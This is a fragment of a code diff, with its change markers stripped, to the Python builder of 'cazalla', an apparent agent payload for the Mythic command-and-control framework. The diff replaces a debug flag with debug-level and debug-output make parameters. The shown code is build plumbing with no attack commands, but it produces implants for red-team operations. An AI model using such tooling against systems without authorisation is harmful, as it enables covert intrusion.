description="Debug verbosity level",
choices=["none", "errors", "warnings", "info", "all"],
default_value="none"
),
BuildParameter(
name="debug_output",
parameter_type=BuildParameterType.ChooseOne,
description="Debug output destination (only used if debug_level is not 'none')",
choices=["console", "file"],
default_value="console"
),
]
agent_path = pathlib.Path(".") / "cazalla"
@@ -182,7 +190,8 @@ class CazallaAgent(PayloadType):
copy_tree(str(self.agent_path), agent_build_path.name)
output_format = self.get_parameter("output")
debug_enabled = self.get_parameter("debug")
debug_level = self.get_parameter("debug_level")
debug_output = self.get_parameter("debug_output")
config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h"
@@ -229,9 +238,7 @@ class CazallaAgent(PayloadType):
debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}")
# Send all debug info as part of "Applying configuration" step
output_format = self.get_parameter("output")
debug_enabled = self.get_parameter("debug")
final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n"
final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n"
final_output += "\n".join(debug_output)
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
@@ -241,14 +248,19 @@ class CazallaAgent(PayloadType):
StepSuccess=True
))
if debug_enabled:
make_target = f"debug_{output_format}"
output_filename = f"cazalla-debug.{output_format}"
else:
# Determine build target and filename based on output format and debug settings
if debug_level == "none":
make_target = output_format
output_filename = f"cazalla.{output_format}"
make_flags = ""
else:
make_target = f"debug_{output_format}"
output_filename = f"cazalla-debug.{output_format}"
# Pass debug level and output type to Makefile
# The Makefile will convert string values to numbers
make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}"
command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}"
filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}"
proc = await asyncio.create_subprocess_shell(
@@ -273,11 +285,11 @@ class CazallaAgent(PayloadType):
resp.build_message = f"Compilation failed: {compile_errors}"
return resp
debug_info = " (DEBUG MODE)" if debug_enabled else ""
debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else ""
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}",
StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}",
StepSuccess=True
))